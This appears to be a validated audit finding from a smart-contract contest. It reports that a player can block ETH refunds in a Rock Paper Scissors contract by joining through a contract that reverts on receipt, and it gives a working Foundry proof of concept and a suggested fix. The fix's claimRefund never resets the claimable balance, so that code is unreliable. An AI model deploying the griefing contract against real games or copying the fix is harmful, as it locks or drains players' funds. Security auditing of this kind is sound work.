Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious player B reverting on receiving ETH can prevent player A from receiving refunds during `RockPaperScissors::cancelGame` in a griefing attack

37h3rn17y2

Summary

For an ETH game, player A should be able to cancelGame before any player has called commitMove. This should refund both players with their ETH bets. However, malicious player B joining the game via malicious contract can revert on receiving ETH, causing cancelGame to fail and game state to be stuck. Importantly, player A is unable to receive their rightful refunds, breaking the protocol's intended functionality.

Vulnerability Details

The attack path is as follows:

  1. Player A creates an ETH game

  2. Player B joins game (via malicious contract)

  3. Player B refuses to commitMove

  4. Player A cannot cancelGame to receive refunds

  5. Game state is stuck and cannot reach Cancelled

PoC

Place the following into RockPaperScissorsTest.t.sol and run

forge test --mt testPlayerBPreventPlayerARefunds

MaliciousContract maliciousContract;
function testPlayerBPreventPlayerARefunds() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
​
// 1. Player A creates ETH game
vm.prank(playerA);
uint256 balanceBefore = playerA.balance;
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
​
// 2. Player B deploys malicious contract, funds malicious contract and joins the game
vm.startPrank(playerB);
maliciousContract = new MaliciousContract(address(game));
address(maliciousContract).call{value: playerB.balance}("");
(,, uint256 betAmount,,,,,,,,,,,,,) = game.games(gameId);
maliciousContract.joinGameWithEth(gameId, betAmount);
// Player B makes sure that maliciousContract reverts on receiving refunds
maliciousContract.flipTriggerRevert();
vm.stopPrank();
​
// 3. Player B refuses to `commitMove`
​
// 4. Player A cannot `cancelGame` to receive refunds
vm.expectRevert();
vm.prank(playerA);
game.cancelGame(gameId);
uint256 balanceAfter = playerA.balance;
assertLt(balanceAfter, balanceBefore);
​
// 5. Game state is stuck and cannot reach `Cancelled`
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint8(state), uint8(RockPaperScissors.GameState.Created));
assertNotEq(uint8(state), uint8(RockPaperScissors.GameState.Cancelled));
}
​
contract MaliciousContract {
address game;
address owner;
bool triggerRevert;
constructor(address _game){
game = _game;
owner = msg.sender;
}
​
modifier onlyOwner {
require(msg.sender == owner, "only owner can call this");
_;
}
​
function joinGameWithEth(uint256 _gameId, uint256 betAmount) external onlyOwner {
game.call{value: betAmount}(abi.encodeWithSignature("joinGameWithEth(uint256)", _gameId));
}
​
function commitMove(uint256 _gameId, bytes32 _commitHash) external onlyOwner {
game.call(abi.encodeWithSignature("commitMove(uint256,bytes32)", _gameId, _commitHash));
}
​
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external onlyOwner {
game.call(abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", _gameId, _move, _salt));
}
​
function flipTriggerRevert() external onlyOwner {
triggerRevert = !triggerRevert;
}
receive() external payable {
if (triggerRevert){
revert();
}
}
}

Impact

Impact: High, player A cannot receive their refund, game state is stuck
Likelihood: Low, no benefit to malicious player B as they do not receive their refunds as well
Severity: Medium

Tools Used

Manual review

Recommendations

Use a pull-over-push approach to refund players

+ mapping(address => uint256) public claimable;
.
.
.
+ function claimRefund() public {
+ uint256 refundAmount = claimable[msg.sender];
+ (bool success,) = msg.sender.call{value: refundAmount}("");
+ require(success, "claimRefund failed");
+ }
.
.
.
function _cancelGame(uint256 _gameId) internal {
Game storage game = games[_gameId];
​
game.state = GameState.Cancelled;
​
// Refund ETH to players
if (game.bet > 0) {
- (bool successA,) = game.playerA.call{value: game.bet}("");
- require(successA, "Transfer to player A failed");
+ claimable[playerA] += game.bet;
​
if (game.playerB != address(0)) {
- (bool successB,) = game.playerB.call{value: game.bet}("");
- require(successB, "Transfer to player B failed");
+ claimable[playerB] += game.bet;
}
}
​
// Return tokens for token games
if (game.bet == 0) {
if (game.playerA != address(0)) {
winningToken.mint(game.playerA, 1);
}
if (game.playerB != address(0)) {
winningToken.mint(game.playerB, 1);
}
}
​
emit GameCancelled(_gameId);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.